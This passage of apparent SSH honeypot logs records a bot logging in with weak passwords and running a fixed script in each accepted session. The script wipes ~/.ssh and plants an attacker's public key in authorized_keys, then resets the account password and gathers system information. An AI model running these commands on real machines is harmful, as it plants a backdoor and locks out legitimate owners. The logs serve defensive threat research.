-l"},{"seq":4,"at":"2026-08-27T11:15:27.779278+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:15:28.043419+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\n4bXhbPyooCyJ\\n4bXhbPyooCyJ\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:15:28.306852+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\n4bXhbPyooCyJ\\n4bXhbPyooCyJ\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:15:28.573095+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:15:29.689589+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:15:29.995725+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T11:15:30.452508+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T11:15:30.716264+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T11:15:32.751274+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:15:33.019268+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T11:15:34.276401+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T11:15:34.543627+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T11:15:36.059926+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T11:15:36.334055+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T11:15:38.133285+00:00","kind":"output","latency_ms":null,"data":" 11:15:38 up 7 days, 8:05, 0 user, load average: 0.25, 0.21, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T11:15:38.396428+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T11:15:40.002546+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T11:15:40.267495+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T11:15:41.901829+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T11:15:42.159154+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T11:15:43.974084+00:00","kind":"output","latency_ms":null,"data":"top - 11:15:43 up 7 days, 8:05, 0 user, load average: 0.25, 0.21, 0.17\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T11:15:44.238938+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T11:15:45.065077+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T11:15:45.329225+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T11:15:47.112694+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T11:15:47.376488+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T11:15:48.689899+00:00","kind":"output","latency_ms":null,"data":"internet"},{"seq":31,"at":"2026-08-27T11:15:48.952907+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T11:15:51.155558+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T11:15:51.418154+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T11:15:52.691001+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"internet","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"a3f8f2ed-2b61-433d-a362-9e2910535479","name":"burly-windswept-numbat","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":41606,"username":"internet","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:15:24.924167+00:00","ended_at":"2026-08-27T11:15:26.118744+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"internet","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"ac2c9b33-025c-4ce2-8599-34b6c14c829d","name":"bashful-watchful-tinamou","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":41598,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:15:23.273706+00:00","ended_at":"2026-08-27T11:15:24.373003+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"2e967db4-e8dc-48f0-bae9-84ed39ef9def","name":"painted-wry-egret","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":55470,"username":"soporte","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":265,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:13:56.109836+00:00","ended_at":"2026-08-27T11:13:57.448176+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2130,"events":[{"seq":1,"at":"2026-08-27T11:13:29.009227+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:13:29.274375+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:13:33.174846+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:13:34.171012+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:13:34.437100+00:00","kind":"input","latency_ms":null,"data":"echo -e \"soporte2025\\nYSy4Hnsbir9U\\nYSy4Hnsbir9U\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:13:34.703121+00:00","kind":"input","latency_ms":null,"data":"echo \"soporte2025\\nYSy4Hnsbir9U\\nYSy4Hnsbir9U\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:13:34.968062+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:13:36.397020+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:13:36.423544+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T11:13:36.628511+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:13:36.659081+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T11:13:38.314332+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:13:38.580609+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T11:13:40.663358+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T11:13:40.932224+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T11:13:41.864073+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T11:13:42.133447+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T11:13:43.034172+00:00","kind":"output","latency_ms":null,"data":" 11:13:43 up 7 days, 8:03, 0 user, load average: 0.1, 0.08, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T11:13:43.299832+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T11:13:44.509060+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T11:13:44.774848+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T11:13:46.753197+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T11:13:47.028772+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T11:13:48.301672+00:00","kind":"output","latency_ms":null,"data":"top - 11:13:48 up 7 days, 8:03, 0 user, load average: 0.1, 0.08, 0.08\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T11:13:48.569960+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T11:13:50.356323+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T11:13:50.619997+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T11:13:51.829416+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T11:13:52.093884+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T11:13:53.415007+00:00","kind":"output","latency_ms":null,"data":"soporte"},{"seq":31,"at":"2026-08-27T11:13:53.679431+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T11:13:55.846551+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T11:13:56.110603+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T11:13:57.372852+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"soporte","password":"soporte2025","method":"password","accepted":true,"tier":"other"}]} {"id":"f8cd99b8-4e60-4c97-93d9-7ba6fc23591e","name":"amiable-mighty-shrike","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":55478,"username":"soporte","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:13:31.801493+00:00","ended_at":"2026-08-27T11:13:33.100007+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"soporte","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"40624ef4-e5b4-43b6-b123-e4745fada5db","name":"ashen-hearty-penguin","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":55476,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:13:29.871005+00:00","ended_at":"2026-08-27T11:13:31.280131+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a04af3ce-123f-4997-8f7b-0701550677b7","name":"coastal-wry-brambling","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":45448,"username":"zy","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":265,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:11:54.590641+00:00","ended_at":"2026-08-27T11:11:55.801473+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2108,"events":[{"seq":1,"at":"2026-08-27T11:11:36.149903+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:11:36.413623+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:11:40.416036+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:11:41.513332+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:11:41.776615+00:00","kind":"input","latency_ms":null,"data":"echo -e \"zy123456\\nTBaQbVlXfgH5\\nTBaQbVlXfgH5\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:11:42.041169+00:00","kind":"input","latency_ms":null,"data":"echo \"zy123456\\nTBaQbVlXfgH5\\nTBaQbVlXfgH5\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:11:42.306768+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:11:42.559590+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:11:42.827631+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:11:43.702809+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:11:43.970016+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:11:45.394429+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:11:45.661434+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:11:46.539599+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:11:46.803108+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:11:47.310258+00:00","kind":"output","latency_ms":null,"data":" 11:11:47 up 7 days, 8:01, 0 user, load average: 0.11, 0.1, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:11:47.575684+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:11:48.294117+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:11:48.558646+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:11:49.348112+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:11:49.614043+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:11:50.293328+00:00","kind":"output","latency_ms":null,"data":"top - 11:11:50 up 7 days, 8:01, 0 user, load average: 0.11, 0.1, 0.09\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:11:50.559702+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:11:51.396154+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:11:51.666133+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:11:51.933211+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:11:52.197257+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:11:52.854338+00:00","kind":"output","latency_ms":null,"data":"zy"},{"seq":29,"at":"2026-08-27T11:11:53.119733+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:11:54.325910+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:11:54.591477+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:11:55.726680+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"zy","password":"zy123456","method":"password","accepted":true,"tier":"other"}]} {"id":"ef8261a0-b9f1-40a8-8aaa-a71dcf763e54","name":"sleepy-bold-firefly","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":57204,"username":"zy","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:11:39.214323+00:00","ended_at":"2026-08-27T11:11:40.340220+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"zy","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"18777761-7656-4084-9775-dd204fb71311","name":"tender-snowy-serval","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":57190,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:11:37.011060+00:00","ended_at":"2026-08-27T11:11:38.679862+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"d1b1c94f-b001-4553-89af-c3e4fe3bb98a","name":"brazen-bashful-guanaco","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":46148,"username":"user10","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":263,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:09:53.807461+00:00","ended_at":"2026-08-27T11:09:56.028502+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2099,"events":[{"seq":1,"at":"2026-08-27T11:09:38.005158+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:09:38.267700+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:09:41.499369+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:09:42.376868+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:09:42.640021+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\ngXtzuVExrjiD\\ngXtzuVExrjiD\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:09:42.903665+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\ngXtzuVExrjiD\\ngXtzuVExrjiD\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:09:43.166759+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:09:43.825260+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:09:44.089669+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:09:44.870162+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:09:45.136476+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:09:46.146132+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:09:46.409506+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:09:46.681682+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:09:46.945232+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:09:47.587694+00:00","kind":"output","latency_ms":null,"data":" 11:09:47 up 7 days, 7:59, 0 user, load average: 0.03, 0.03, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:09:47.851413+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:09:48.641277+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:09:48.904669+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:09:49.474866+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:09:49.732378+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:09:49.997902+00:00","kind":"output","latency_ms":null,"data":"top - 11:09:49 up 7 days, 7:59, 0 user, load average: 0.03, 0.03, 0.02\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:09:50.262126+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:09:50.991159+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:09:51.253631+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:09:51.621597+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:09:51.885137+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:09:52.264185+00:00","kind":"output","latency_ms":null,"data":"user10"},{"seq":29,"at":"2026-08-27T11:09:52.525389+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:09:53.544418+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:09:53.808310+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:09:55.954075+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"user10","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"18b65804-67ac-4e5c-8381-e8db53e5c4bf","name":"weathered-kindly-peccary","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":46170,"username":"user10","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:09:40.667808+00:00","ended_at":"2026-08-27T11:09:41.424588+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user10","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e90a8fd4-784a-4d91-8f32-5ebd348d476d","name":"stormy-golden-armadillo","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":46156,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:09:38.865777+00:00","ended_at":"2026-08-27T11:09:40.113277+00:00","ended_reason":"no 